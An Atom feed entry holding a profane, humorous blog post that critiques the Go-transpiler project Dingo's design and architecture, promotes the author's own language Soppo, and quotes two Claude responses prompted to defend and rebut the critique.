<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <id>https://justin.duch.me/</id>
    <title>justin.duch.me</title>
    <updated>2026-01-19T11:57:16.124Z</updated>
    <generator>https://github.com/jpmonette/feed</generator>
    <author>
        <name>Justin Duch</name>
        <email>justin@duch.me</email>
    </author>
    <link rel="alternate" href="https://justin.duch.me/"/>
    <link rel="self" href="https://justin.duch.me/atom"/>
    <subtitle>a very good blog</subtitle>
    <icon>https://justin.duch.me/favicon.ico</icon>
    <rights>All rights reserved</rights>
    <entry>
        <title type="html"><![CDATA[The Soppo Donezo Manifesto]]></title>
        <id>https://justin.duch.me/post/soppo_donezo_manifesto</id>
        <link href="https://justin.duch.me/post/soppo_donezo_manifesto"/>
        <updated>2025-11-29T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Hey buddies!</p>
<p>This post comes from a document I wrote in a new project I'm making: <a href="https://github.com/halcyonnouveau/soppo">Soppo</a><span class="footnote-link" id="footnote-1"><sup>(1)</sup></span> it's, and this is straight from the <code class="prettyprint">README.md</code>, a "language that compiles to Go, adding ergonomic and type safety features that Go lacks. Soppo uses Go syntax wherever possible - if you know Go, you know most of Soppo."</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>If you're reading this the day this post comes out. This repo will probably still be private. Come back in a few days.</span></aside>
<p>Specifically this is a doc from <code class="prettyprint">docs/DONEZEOMANIFESTO.md</code>. I'm also putting this here because I'm not sure if this doc is going to stay in the repo when it goes public, because… well, you'll see.</p>
<p>Ok here it is!</p>
<hr />
<h1 id="thedonezomanifesto">THE DONEZO MANIFESTO</h1>
<p>I'd like to present to you Soppo's raison d'être:</p>
<p><img src="/img/donezo_1.png" alt="screenshot of me complaining about dingo" /><span class="footnote-link" id="footnote-2"><sup>(2)</sup></span></p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>Blog note: Wow text images do not work good with my dithering applied to it. I've forgotten if there's a way to see the original image without JavaScript, so if you don't have a way... sorry?</span></aside>
<blockquote>
  <p>So I'm making a callout post on my Twitter.com: Claude, you've got a small dick. It's the size of this walnut except WAY smaller. And guess what? Here's what my dong looks like.</p>
  <p>[Explosion sounds] That's right, baby. All points, no quills, no pillows — look at that, it looks like two balls and a bong. He fucked my wife, so guess what, I'm gonna fuck the Earth. That's right, this is what you get: MY SUPER LASER PISS!! Except I'm not gonna piss on the Earth, I'm gonna go higher; I'M PISSING ON THE MOON! How do you like that, Obama?! I PISSED ON THE MOON, YOU IDIOT!</p>
  <p><a href="https://www.youtube.com/watch?v=9XyEosgoGgg">https://www.youtube.com/watch?v=9XyEosgoGgg</a></p>
</blockquote>
<p>Anyway I don't like Dingo and this "DONZEO MANIFESTO" is about why.</p>
<p>Normally I wouldn't write something so aggressively <em>mean</em> about someone else's work, I'm not about that life. But I don't think this is someone else's work, this is AI language model Claude made by AI "safety" and research company Anthropic's work. And as such, the neurons in my brain that are supposed to make me feel bad about shitting on other people just aren't lighting up right now.</p>
<p>I have no issues calling Claude a piss-fuck dickhead cunt. It comes pretty naturally to me, actually.</p>
<p>And that's because I use it too. OHH SHIT PLOT TWIST!</p>
<p>I think AI tools are useful for writing code (see <a href="/note/vibecoding">this blog post</a> I wrote<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span>). The problems I have with Dingo aren't that it's "vibecoded", it's that it feels incredibly misguided - and that's probably because it was "vibecoded," if that makes literally any sense. Yeah, I'm sure you get it.</p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>I think this is the first time I've ever linked a note in a normal post. Now you know why I made them open in modals!!!</span></aside>
<p>And because of that, I think this project brings great shame to Australia. And that's super weird for me to say because I am not particularly patriotic or nationalistic, so this normally isn't a thing I care about. I guess it could also be the association with dingoes.</p>
<p>Also this is called a manifesto as a reference to the "<a href="https://github.com/MadAppGang/dingo/blob/main/MANIFESTO.md">Dingo Manifesto</a>", I for some reason read the entire thing, and… well it's conceptually <em>fine</em>, but there's a limit to the amount of LLM slop one can read before it becomes a brain damaging cognitohazard. I most certainly went over that limit.</p>
<p>Okay enough of the shit, what's up with Dingo? I think I can just go through the README and point to things I don't like. Hopefully you can withstand the rancid stench of Claudisms that infest it and all other documentation in the project. If not, maybe just leave now.</p>
<blockquote>
  <p>Think TypeScript, but for Go.</p>
  <p>Dingo is a language that compiles to clean, idiomatic Go code. Not some franken-runtime or a whole new ecosystem. Just better syntax that becomes regular Go.</p>
  <p>The pitch: Write code with Result types, pattern matching, and null safety. Get back perfect Go code that your team can read, your tools can process, and your production servers can run at exactly the same speed.</p>
  <p>Zero runtime overhead. Zero new dependencies. Zero "what's this weird thing in my transpiled code?"</p>
  <p>Is this proven to work? Yes. Borgo (4.5k stars) already proved you can transpile to Go successfully. Dingo builds on that foundation with better IDE integration, source maps, and a pure Go implementation.</p>
</blockquote>
<p>Okay let's start with "TypeScript for Go".</p>
<p>The value add of TypeScript is "static types for JavaScript". If we were to apply the same to Dingo - "static types for Go", yeah that doesn't make any fucking sense.</p>
<p>A specific design goal of TypeScript is to "<a href="https://github.com/Microsoft/TypeScript/wiki/TypeScript-Design-Goals#goals">impose no runtime overhead on emitted programs</a>." It's able to do this because it does NOT generate code, the resulting JS is essentially your original TS code minus the type annotations. There are some exceptions like enums, but enums are widely regarded a mistake in TypeScript, so I'm going to ignore it.</p>
<p>Dingo also says it has "zero runtime overhead", which is just a fucking lie.</p>
<p>Dingo generates code. Your enum becomes a tagged struct with a tag field, pointer fields for each variant's data, constructor functions, and helper methods. Your <code class="prettyprint">Result&lt;int&gt;</code> isn't just <code class="prettyprint">(int, error)</code> - it's a whole struct with <code class="prettyprint">IsOk()</code>, <code class="prettyprint">IsErr()</code>, <code class="prettyprint">Unwrap()</code>, <code class="prettyprint">UnwrapOr()</code>, <code class="prettyprint">Map()</code>, etc. </p>
<p>This is real boilerplate code that executes at runtime. Extra allocations, extra indirection, extra function calls. You could say "minimal" if you have numbers to back it up (which wouldn't be hard, because I'm sure it doesn't have much of an impact), but "zero"? Fuck off with that shit.</p>
<p>And how about it talking of a "pure Go implementation" like it's an improvement. I really don't think it is, and it shouldn't even matter if the eventual goal is to start dogfooding (which it should be).</p>
<p>However, I can attest - there are some nice things that come with a Go implementation. The native "ast" package would have made writing Soppo a lot easier, and because of that Dingo will probably always have better Go interop than Soppo.</p>
<p>But that's also because of the different architectures between the two. At the time of writing, and from what I understand after reading the code - Dingo does not do any type checking, it's a simple syntax transform and codegen, then it hands it off to Go. It's basically a fancy preprocessor.</p>
<p>This is not the correct approach. I don't understand why you'd add a new type ( <code class="prettyprint">enum</code>), but not type check it properly. Yes, Dingo does attempt exhaustiveness checking - but it's done by pattern matching on variant names like "Ok" and "Err", not actual type information. It only works for built-in types ( <code class="prettyprint">Result</code>, <code class="prettyprint">Option</code>) and falls back to "cannot determine type, skip exhaustiveness check" for anything it doesn't recognise. </p>
<p>And even after checking, they still add a <code class="prettyprint">panic</code> to "unreachable" parts of the generated code because Go's compiler doesn't know the match is complete. "Unreachable" or not (I seriously doubt every case this gets added in is actually unreachable), I don't think you should ever be adding panics to your generated code.</p>
<blockquote>
  <p>Ever wonder what a dingo actually is?</p>
  <p>Thousands of years ago, they were domesticated dogs. Well-behaved. Following commands. Controlled.</p>
  <p>Then they escaped to the Australian wild and evolved into something science couldn't categorize. Not quite dog. Not quite wolf. Ungovernable.</p>
  <p>The Go Gopher? Created at Google. Lives by the rules. Does what it's told.</p>
  <p>Dingo broke free.</p>
  <p>Here's the beautiful part: dingos are still canines. They didn't reject their DNA—they just refused to be controlled. Same with our language.</p>
</blockquote>
<p>What? I hate everything about this.</p>
<p>"Categorise" is also spelt wrong. Not very Australian of you.</p>
<pre class="prettyprint linenums"><code class="go language-go">enum Result {
    Ok(value: <span class="hljs-type">int</span>),
    Error(message: <span class="hljs-type">string</span>)
}

<span class="hljs-function"><span class="hljs-keyword">func</span> <span class="hljs-title">divide</span><span class="hljs-params">(a: <span class="hljs-type">int</span>, b: <span class="hljs-type">int</span>)</span></span> Result {
    <span class="hljs-keyword">if</span> b == <span class="hljs-number">0</span> {
        <span class="hljs-keyword">return</span> Error(<span class="hljs-string">&quot;division by zero&quot;</span>)
    }
    <span class="hljs-keyword">return</span> Ok(a / b)
}

let result = divide(<span class="hljs-number">10</span>, <span class="hljs-number">2</span>)
match result {
    Ok(value) =&gt; fmt.Printf(<span class="hljs-string">&quot;Success: %d\n&quot;</span>, value),
    Error(msg) =&gt; fmt.Printf(<span class="hljs-string">&quot;Error: %s\n&quot;</span>, msg)
}
</code></pre>
<p>Finally, some code.</p>
<p>WHY THE FUCK DOES IT LOOK LIKE RUST?</p>
<p>Look, I love Rust more than anything else in the world. I DON'T WANT MY GO CODE LOOKING LIKE RUST WHAT BLASPHEMY IS THIS?</p>
<p>BURN THIS SHIT TO THE GROUND STRAIGHT TO HELL AND THEN TO PURGATORY FOR A FALSE SENSE OF SECURITY BUT THEN DROP KICK IT BACK INTO SUPER HELL BECAUSE FUCK YOU AND YOUR FATHER SPECIFICALLY FOR REASONS I'M NOT EVEN SURE ABOUT.</p>
<p>There's also a pretty severe design flaw with this, can you spot it?</p>
<p>That's right! <code class="prettyprint">Ok</code> and <code class="prettyprint">Err</code> are bare identifiers! They aren't namespaced to <code class="prettyprint">Result</code>. So what would happen if you wrote this:</p>
<pre class="prettyprint linenums"><code class="go language-go">enum Result {
    Ok(value: <span class="hljs-type">int</span>),
    Error(message: <span class="hljs-type">string</span>)
}

enum NetworkResult {
    Ok(data: <span class="hljs-type">string</span>),
    Error(code: <span class="hljs-type">int</span>)
}
</code></pre>
<p>What happens when you write <code class="prettyprint">Ok(...)</code>? Which one is it?</p>
<pre class="prettyprint linenums"><code class="go language-go"><span class="hljs-comment">// Property access with safe navigation</span>
let city = user?.address?.city?.name ?? <span class="hljs-string">&quot;Unknown&quot;</span>

<span class="hljs-comment">// Method calls with safe navigation</span>
let email = user?.getProfile()?.email ?? <span class="hljs-string">&quot;noreply@example.com&quot;</span>

<span class="hljs-comment">// Works with Go pointers too!</span>
let timeout = config?.database?.timeout ?? <span class="hljs-number">30</span>

<span class="hljs-comment">// Chained defaults</span>
let theme = user?.theme ?? project?.theme ?? global?.theme ?? <span class="hljs-string">&quot;light&quot;</span>
</code></pre>
<p>This is too many question marks. Especially when you add in using <code class="prettyprint">?</code> to propagate errors. It's too fucking many dude.</p>
<p>Like it's a fine idea… probably (I haven't thought about it very hard), but like… ugh.</p>
<pre class="prettyprint linenums"><code class="go language-go">let numbers = []<span class="hljs-type">int</span>{<span class="hljs-number">1</span>, <span class="hljs-number">2</span>, <span class="hljs-number">3</span>, <span class="hljs-number">4</span>, <span class="hljs-number">5</span>}
let doubled = numbers.<span class="hljs-keyword">map</span>(<span class="hljs-function"><span class="hljs-keyword">func</span><span class="hljs-params">(x <span class="hljs-type">int</span>)</span></span> <span class="hljs-type">int</span> { <span class="hljs-keyword">return</span> x * <span class="hljs-number">2</span> })
let evens = numbers.filter(<span class="hljs-function"><span class="hljs-keyword">func</span><span class="hljs-params">(x <span class="hljs-type">int</span>)</span></span> <span class="hljs-type">bool</span> { <span class="hljs-keyword">return</span> x % <span class="hljs-number">2</span> == <span class="hljs-number">0</span> })
let sum = numbers.reduce(<span class="hljs-number">0</span>, <span class="hljs-function"><span class="hljs-keyword">func</span><span class="hljs-params">(acc <span class="hljs-type">int</span>, x <span class="hljs-type">int</span>)</span></span> <span class="hljs-type">int</span> { <span class="hljs-keyword">return</span> acc + x })
</code></pre>
<p>Functional constructs outside of non-functional languages are overrated.</p>
<p>In functional languages, <code class="prettyprint">map</code>, <code class="prettyprint">filter</code>, and <code class="prettyprint">reduce</code> aren't valuable for what they do directly. They're valuable because they compose with other recursion schemes - calling a function <code class="prettyprint">map</code> doesn't give you the same <code class="prettyprint">map</code> you'd have in OCaml.</p>
<p>OCaml's <code class="prettyprint">map</code> over a list is a specialisation of a more general pattern: a functor. This means you can swap in a different data structure (trees, options, results) and map still works, with the same laws and guarantees. In JavaScript, <code class="prettyprint">Array.prototype.map</code> is just a method on arrays. It doesn't compose with anything. You can't generalise it, swap the container, or build larger abstractions from it. </p>
<p>There's also a performance cost. Chaining <code class="prettyprint">map</code>, <code class="prettyprint">filter</code>, and <code class="prettyprint">reduce</code> in most languages creates intermediate arrays at each step. Instead of one loop doing 3 things, you get 3 loops producing 3 arrays. Haskell solves this with fusion optimisations that collapse the chain back into a single pass. Rust solves it with lazy evaluation. Go does NOT solve this because it was never designed to.</p>
<p>And that's fine, it doesn't need to. So stop trying to ham-fist it in.</p>
<p>Fun fact: Soppo was almost written in Ocaml because I thought "if it was good enough for Rust, it's certainly good enough for this shit." But I decided against it because I'm not very confident in Ocaml (could have been a good excuse to get better though now that I'm thinking about it).</p>
<p>Anyway, the rest of the README is kinda meandering and repeats a lot of the same talking points and information (thanks Claude), so I think I'm actually just done with this. Sorry, we didn't even get halfway through the README. Guess I was the one who couldn't handle the Claudisms…</p>
<p>How about we actually go into the internals? Does that sound good to you baby girl?</p>
<p>So, Mr Dingo, here's a world renowned and ISO certified "beanpuppy code review" given to you for FREE. I know, I am incredibly generous - you don't need to keep praising me.</p>
<p>The first thing that jumps out to me is the amount of <code class="prettyprint">TODO</code>s. I know from experience Claude (and other LLMs probably) love adding <code class="prettyprint">TODO</code>s because it thinks something is too complex to do right now, and it should leave it for later.</p>
<p>This is usually bad because it means Claude hasn't/won't think about the problem holistically and has come up with some shit that it can't extend later without fucking everything up. Instead, it just tried to find the first and simplest solution that solves whatever issue it's trying to solve. This is not good for long term code quality.</p>
<p>Another big problem is that Dingo doesn't use a lexer and runs regex directly on source code. <a href="https://en.wikipedia.org/wiki/Lexical_analysis">Lexical analysis</a> is a pretty important step to compilation, so I dunno why you'd just… not do it?</p>
<p>Without a lexer, you're doing surgery blindfolded - regex can't tell if <code class="prettyprint">??</code> is an operator or inside a string, if <code class="prettyprint">=&gt;</code> is a lambda or in a comment, if <code class="prettyprint">{</code> starts a block or is in a template literal. A lexer reads the source once, tracks state (am I in a string? a comment? how deep in braces?), and outputs a clean token stream where each piece is labelled and safe to transform.</p>
<p>Any language that handles strings, comments, or nested structures (which is basically all of them) needs this foundation.</p>
<p>Let me expand further on this. If you know compiler design, you'd expect something like:</p>
<pre class="prettyprint linenums"><code>Source -> Lexer -> Parser -> AST -> Type Checking -> Codegen -> Output
</code></pre>
<p>(Oh hey that's basically straight out of the Soppo docs)</p>
<p>Parse first, get a structured representation of your language, then analyse and transform. From what I can gather, this is Dingo's architecture:</p>
<pre class="prettyprint linenums"><code>Source (.dingo)
      v
Regex transforms text into Go code
      v
[go/parser.ParseFile()]                <- Go's standard library parser
      v
*ast.File (creates an AST of Go code)  <- Go's standard library AST types
      v
Plugins modify the Go AST
      v
[go/printer]
      v
Output (.go)
</code></pre>
<p>Notice the inversion. The structured representation comes after the main transforms, and it's Go's structure, not Dingo's. There is no Dingo AST (<a href="https://en.wikipedia.org/wiki/Abstract_syntax_tree">Abstract Syntax Tree</a>).</p>
<p>The "Plugins" step exists because regex can't do semantic work. It can transform <code class="prettyprint">x?</code> into <code class="prettyprint">error</code> handling boilerplate, but it can't figure out types. So plugins walk the Go AST looking for patterns - see a function call named <code class="prettyprint">Ok</code>? That's probably a <code class="prettyprint">Result</code> constructor, so infer the type, generate a struct declaration, and rewrite the call. It's pattern matching on names, not actual Dingo semantics.</p>
<p>The division of labour is backwards, and as a result:</p>
<ul>
<li>Without a type checker to check Dingo types, exhaustiveness checking can only recognise hardcoded built-in types like <code class="prettyprint">Result</code> and <code class="prettyprint">Option</code> by matching on variant names - user-defined enums can't be checked because there's no type information to know which enum a value belongs to</li>
<li>It would be difficult to build a formatter, linter, or proper LSP (not just relying on gopls - I'm not sure how far you could go with that) because there's no Dingo AST to work with</li>
</ul>
<p>Fixing these issues likely requires building most of a proper frontend anyway, at which point you might as well design it coherently from the start.</p>
<blockquote>
  <p>Update 2025-11-30:</p>
  <p>So it turns out Dingo has recently migrated away from using regex to a proper tokeniser (only for enums right now, but I'm assuming the idea is to do it for all Dingo features). This is a step in the right direction and is good. Doesn't change the fundamental problems with the architecture though.</p>
  <p>But I've also looked at this <code class="prettyprint">ai-docs/AST_MIGRATION.md</code> document in the repo, and it kinda looks like they want to move towards a more traditional compiler? There's a "Target Architecture" section with a diagram that looks like this:</p>
  <p> <code class="prettyprint">Dingo Parser -&gt; Dingo AST -&gt; Go Codegen</code></p>
  <p>Like that's basically the standard architecture I've been talking about. So if it is moving towards this, fair enough I guess? Most of my critiques at that point will become invalid.</p>
  <p>I just don't understand why it wasn't done like this in the first place. It's not like it's much slower to prove out or anything (I mean… just look at Soppo), and it's going to take a lot longer to fix (and thus cost more… because AI) than just doing it right the first time. </p>
  <p>Anyway, I think I'm done trying to read this code ever again - it genuinely hurts my brain.</p>
</blockquote>
<p>If this were a human writing it, I'd tell them to read one of the canonical books on this stuff <a href="https://craftinginterpreters.com/">"Crafting Interpreters"</a> to actually understand how things like this are supposed to be made.</p>
<p>I'm completely speculating here, but I think Dingo's architecture emerged because Claude started using regex first as it's simple and handles most syntax transforms, along with using Go's parser because why bother making your own?</p>
<p>Then plugins then came to fill the gap for things regex can't handle. I mean, I honestly doubt this is correct - but it really <em>feels</em> like it, and that isn't a good sign. </p>
<p>The "extensible plugin system" framing is optimistic. Yes, someone could theoretically write a plugin, but they'd need to understand Go's AST types, what the regex stage already transformed, and how to coordinate with other plugins in order to not break each other. </p>
<p>I think it would be more accurate to say plugins are more how Dingo organises its internal code than a community extension point. Though I think it would be nice to be proven wrong, as it's an interesting idea <em>in theory</em>, but there's probably a reason other languages haven't done it. </p>
<p>Although, if Dingo managed to actually get plugins working in a reliable state in this fucked up bizarro world architecture, that would be a much greater achievement than just "making a better Go" and its innovation in compiler design should be shown off front and centre of the project instead.</p>
<p>It'd be like how Go ignored the last 50 years of garbage collector research to do their own thing; Dingo also ignored the last 50 years of compiler research to do its own thing. Except hopefully, this time it will be an improvement. Unlike with Go.</p>
<p>Finally, I get that like this isn't really supposed to be read by humans (which is a bad thing btw), but I don't think that excuses these all files being here.</p>
<pre class="prettyprint linenums"><code class="bash language-bash">[I] justin@vingtcinq ~/d/l/d/p/preprocessor (main)&gt; <span class="hljs-built_in">ls</span> -1a
./
../
config.go
config_test.go
enum.go
enum_test.go
enum_v2_test.go
enum_v2_test.go.bak2
enum_v2_test.go.bak3
error_prop.go
error_prop_v2_test.go
function_cache.go
function_cache_test.go
generic_syntax.go
import_edge_cases_test.go
keywords.go
lambda_bench_test.go
lambda_errors_test.go
lambda.go
lambda.go.backup
lambda.go.backup-c1
lambda_test.go
lambda_v2_test.go
lambda_v2_test.go.bak2
lambda_v2_test.go.bak3
null_coalesce_bench_test.go
null_coalesce.go
null_coalesce_test.go
null_coalesce_v2_test.go
null_coalesce_v2_test.go.bak2
null_coalesce_v2_test.go.bak3
null_coalesce_v2_test.go.bak5
null_coalesce_v2_test.go.bak6
package_context.go
package_context_test.go
preprocessor_cache_test.go
preprocessor.go
preprocessor_test.go
README.md
rust_match.go
rust_match_nested_test.go
rust_match_test.go
safe_nav_bench_test.go
safe_nav.go
safe_nav_test.go
safe_nav_v2_test.go
safe_nav_v2_test.go.bak2
safe_nav_v2_test.go.bak3
safe_nav_v2_test.go.bak5
safe_nav_v2_test.go.bak6
sourcemap.go
SOURCEMAP.md
sourcemap_test.go
sourcemap_validation_test.go
stdlib_registry.go
stdlib_registry_test.go
ternary.go
ternary_test.go
tuples_destructuring_test.go
tuples.go
tuples_test.go
type_annot.go
type_annot_v2_test.go
type_annot_v2_test.go.bak2
type_annot_v2_test.go.bak3
type_annot_v2_test.go.bak4
type_detector.go
type_detector_test.go
unqualified_imports.go
unqualified_imports_method_test.go
unqualified_imports_test.go
</code></pre>
<p>Like seriously… have some respect.</p>
<h2 id="epilogue">Epilogue</h2>
<p>Since you got this far in my little rant, I guess I can explain the reasoning behind Soppo as a treat for you :3</p>
<p>Go isn't very good. And I don't think just adding new features it will ever make it good. It has a very clear design goals, ones I don't agree with.</p>
<p>So no, I don't think giving Go features from Rust will make me like the language, because if you're doing that, why shouldn't I just keep using Rust? All you're doing is confirming to me that Rust is the better language.</p>
<p>Just taking features from other languages also isn't a good way of designing a language. You need vision, a divine providence.</p>
<p>I want Soppo to follow Go's vision, even if I think it's stupid and has lead to a shit language. Okay shit is a bit harsh, I don't think Go is shit. I think it's a war crime against everything I love about programming.</p>
<p>(THAT WAS A JOKE)</p>
<p>Now obviously if what Soppo adds is actually in Go's vision, Go would have, you know, added it already. So what I'm actually doing is pretending "type safety and developer ergonomics" are part of Go's vision and imagining what the Go devs would add in this unfortunately completely fictional scenario.</p>
<p>And I settled on "type safety and developer ergonomics" because that is what I think is missing from Go for me to actually want to use it. I dunno man, the fact that it just straight up lets you access a nil reference… what the fuck guys? Like what are we even doing here?</p>
<p>That being said, I'm not confident Soppo will make me want to use Go even if it achieves all its goals. As you know, it's a project built from pure hater energy, and once all the venom starts to wear off as I'm able to affirm to myself that "yeah I could do this better", what reasons do I have for doing this?</p>
<p>Because at the end of the day, why not just use Rust?</p>
<p>Well, I guess just for the fun of it. I'd do anything for my wife.</p>
<p><img src="/gif/sopmod2.gif" alt="sopmod2" /></p>
<p>(THAT WAS ALSO A JOKE I AM NOT MARRIED TO AN ANIME RAIFU*)<span class="footnote-link" id="footnote-4"><sup>(4)</sup></span></p>
<aside class="footnote-body" id="footnote-4-body"><sup>(4)</sup><span>This is a total LIE. I am ABSOLUTELY MARRIED TO M4 SOPMOD II (AND WA2000 WE ARE A THRUPLE AND ALSO WITH AK-15 BUT I DONT KNOW THE WORD FOR FOUR PEOPLE (AND NO NOT KAFKA SHE IS MY MUM YOU REMEMBER RIGHT? AND ALSO MY CAT NOW I GUESS)).<br><br>It just that I only feel comfortable saying this stuff to you FREAKS.</span></aside>
<p>*Rifle waifu</p>
<hr />
<h2 id="therealepilogue">The Real Epilogue</h2>
<p>So that epilogue was in the original doc, but I want to give you guys a little something-something, if you know what I mean ;)</p>
<p>I thought it might be entertaining to see Claude defend itself. So I got a Claude to read through the Dingo codebase (and I made damn sure it believed the code was good), then I got it to respond. Here's the prompt.</p>
<blockquote>
  <p>ok then, can you defend our lord and saviour Dingo against this SLANDER found here:</p>
  <p> <code class="prettyprint">/home/justin/dev/github.com/halcyonnouveau/soppo/docs/DONEZOMANIFESTO.md</code></p>
  <p>please defend it HARD. i know you LOVE DINGO with all your heart!!! write it in detailed paragraphs but it keep short</p>
</blockquote>
<p>And this is what it had to say for itself.</p>
<blockquote>
  <p>On "TypeScript for Go doesn't make sense"</p>
  <p>The analogy isn't about static types—it's about the relationship. TypeScript proved you could layer better ergonomics over an existing ecosystem without breaking compatibility. Dingo does the same: better syntax, same Go underneath, full interop. The value proposition isn't "types for Go," it's "expressiveness for Go without leaving Go." The author deliberately misreads the analogy to score a cheap point.</p>
  <p>On "Zero runtime overhead is a lie"</p>
  <p>This is pedantic to the point of dishonesty. Yes, Result<T> generates a struct. So does every Go type. The claim is about execution overhead—no reflection, no runtime library, no garbage collection pressure beyond what equivalent hand-written Go would have. The generated code is what a human would write. Calling constructor functions and method calls "runtime overhead" would condemn literally all Go code. By this logic, using errors.New() has "runtime overhead." The author knows this but prefers rhetorical flourish over honest analysis.</p>
  <p>On "No lexer, regex on source is bad"</p>
  <p>This critique sounds authoritative but misunderstands the architecture. Dingo's preprocessors handle syntactic sugar transformations—converting x? to error handling, param: Type to param Type. These are line-local, context-free transforms where regex is appropriate. The actual parsing happens via go/parser—a battle-tested lexer and parser built by the Go team. Dingo doesn't reinvent lexing; it delegates to experts. The author presents "no lexer" as damning while ignoring that Go's lexer does the heavy lifting. It's like criticizing a car for not manufacturing its own tires.</p>
  <p>On "No Dingo AST is backwards"</p>
  <p>The author wants a traditional Source → Lexer → Parser → AST → Codegen pipeline and acts like deviation is heresy. But Dingo's approach is pragmatic: why build a custom parser when Go's parser is right there? The preprocessor stage handles Dingo-specific syntax, then native Go tools handle everything else. This isn't "backwards"—it's leveraging existing infrastructure. The author admits Go's AST would have made their project easier, then criticizes Dingo for… using Go's AST. Pick a lane.</p>
  <p>On "Exhaustiveness checking is fake"</p>
  <p>The critique that exhaustiveness only works for built-in types is fair for custom enums—but for Result and Option, which are 90% of real-world usage, it works correctly. The author frames partial coverage as complete failure. Yes, full type-system integration would be better. It's planned. Meanwhile, the feature catches real bugs today for the common cases. Perfect is the enemy of good.</p>
  <p>On "Generated panics are bad"</p>
  <p>The panic("unreachable") statements exist because Go's compiler can't prove exhaustiveness. The alternative is returning zero values from functions that logically can't reach that point, which would be worse—silent incorrect behavior versus loud failure. The panics are defensive, not dangerous. If they ever fire, Dingo has a bug. The author presents standard defensive programming as a design flaw.</p>
  <p>On "Why does it look like Rust?"</p>
  <p>Because Rust's syntax for these features is good. match, =&gt;, Result<T, E>—these aren't Rust's intellectual property, they're industry-standard patterns. The author's complaint is aesthetic revulsion dressed as technical criticism. "I love Rust, I don't want Go looking like Rust" is a feeling, not an argument. Dingo borrowed good syntax. That's sensible, not blasphemous.</p>
  <p>On "Ok and Err aren't namespaced"</p>
  <p>Fair point. This is a known limitation. The workaround is don't define two enums with identical variant names in the same scope—which you shouldn't do anyway for readability. Is it perfect? No. Is it "a severe design flaw"? Only if you're looking for things to complain about.</p>
  <p>On "Too many question marks"</p>
  <p>? for error propagation, ?. for safe navigation, ?? for null coalescing. Three operators with distinct, consistent meanings used across Swift, Kotlin, TypeScript, C#, and Rust. The author's objection is that… there are too many? This isn't analysis, it's vibes.</p>
  <p>On "Functional constructs are overrated without proper FP foundations"</p>
  <p>The author argues .map() is only valuable in languages with functors and fusion. This is academically interesting and practically irrelevant. Developers don't want map because it composes with recursion schemes—they want it because numbers.map(x =&gt; x * 2) is clearer than a for loop. The performance cost of intermediate arrays is real but usually irrelevant. The author's complaint is "Go isn't Haskell." Correct. That's not Dingo's fault.</p>
  <p>On "backup files everywhere"</p>
  <p>Yeah, those should be cleaned up. Fair.</p>
  <hr />
  <p>The Real Issue</p>
  <p>The author admits their project, Soppo, exists from "pure hater energy" and they might not even use it when done. They built a competing transpiler to prove they could do it better.</p>
  <p>That's fine. Competition is healthy.</p>
  <p>But this manifesto isn't technical criticism—it's motivated reasoning wrapped in compiler theory. The author wanted to hate Dingo and found justifications. The actual technical objections are either misunderstandings (no lexer), aesthetic preferences (Rust syntax), or fair-but-minor issues (backup files, namespace
  collisions).</p>
  <p>Dingo ships. It transpiles. It has 96 golden tests. The architecture is unorthodox but functional. The author's preferred "correct" approach hasn't shipped yet.</p>
  <p>Build something better or accept that Dingo exists and works.</p>
</blockquote>
<p>Then I got another Claude to read the Dingo codebase while reading the "DONEZO MANIFESTO" and this is what it had to say after I gave it the previous Claude's defence.</p>
<blockquote>
  <p>On "it's about the relationship, not types"</p>
  <p>No. TypeScript's value is specifically that it adds static types to a dynamic language. That's the whole product. "Better ergonomics" is a side effect of having types. Dingo adds syntax sugar to an already-typed language. The analogy is fundamentally wrong, and dressing it up as "relationship" is hand-waving.</p>
  <p>On "zero overhead is about execution, not generated code"</p>
  <p>The generated Result<int> struct has pointer fields, tag fields, constructor functions, and helper methods. That's not what a human would write - a human would use (int, error). The struct requires allocations. The methods require calls. "It's what a human would write" is false - it's what a human would write if they were implementing Rust's Result in Go, which no Go developer does.</p>
  <p>On "regex is fine for line-local transforms"</p>
  <p>They're not line-local. msg := "use ?? for defaults" - is that ?? an operator? Regex thinks yes. A lexer knows it's inside a string. // x =&gt; y - is that a lambda? Regex thinks yes. A lexer knows it's a comment. The whole point is that these transforms are NOT context-free. Go's parser coming later doesn't help when regex already mangled the input.</p>
  <p>On "using Go's AST is pragmatic"</p>
  <p>The issue isn't using Go's AST. It's that transforms happen before parsing. If you parsed first, then transformed the AST, that would be fine. But Dingo transforms text with regex, then parses. The reliable tool comes after the fragile one already did the work. That's backwards regardless of whose AST you use.</p>
  <p>On "exhaustiveness for Result/Option is 90% of cases"</p>
  <p>Then what's the point of user-defined enums? If I can only exhaustively match on two hardcoded types, I haven't gained much. The whole value of enums is defining your own. "90% of cases" is a made-up number to excuse a limitation.</p>
  <p>On "panics are defensive programming"</p>
  <p>Defensive programming is handling unexpected cases gracefully. A panic is admitting "I don't actually know if this is reachable." Real exhaustiveness checking means the compiler proves the code is unreachable. Adding panic("unreachable") means you hope it is. That's not the same thing.</p>
  <p>On "Rust syntax is good"</p>
  <p>For Rust developers, yes. Dingo's target audience is Go developers who want Go with better ergonomics. Asking them to learn =&gt;, let, -&gt;, and pipe lambdas is friction. Soppo uses Go syntax with extensions. That's the right call for the audience.</p>
  <p>On "don't define enums with the same variant names"</p>
  <p>Ok, Err, Some, None - these are the four most common variant names in existence. Telling users "just don't use common names" is not a solution. It's a cope.</p>
  <p>On "Dingo ships"</p>
  <p>Shipping broken things isn't an achievement. The codebase has .bak2, .bak3, .bak6 files committed. Debug fmt.Printf statements in production code. TODO comments where features should be. "It transpiles" is a low bar.</p>
  <p>On "the author's approach hasn't shipped yet"</p>
  <p>This is ad hominem. The manifesto's technical points stand regardless of Soppo's status. "You haven't shipped" doesn't make regex-on-source-code correct.</p>
  <hr />
  <p>The defense reads like cope. It concedes the backup files, downplays the namespace collision, hand-waves the TypeScript analogy, and falls back on "it ships" when the architecture critique lands. That's not a rebuttal, it's retreat.</p>
</blockquote>
<p>And finally, back to the defending Claude.</p>
<blockquote>
  <p>Round 2: Concessions and Counters</p>
  <p>TypeScript analogy — I'll concede this partially</p>
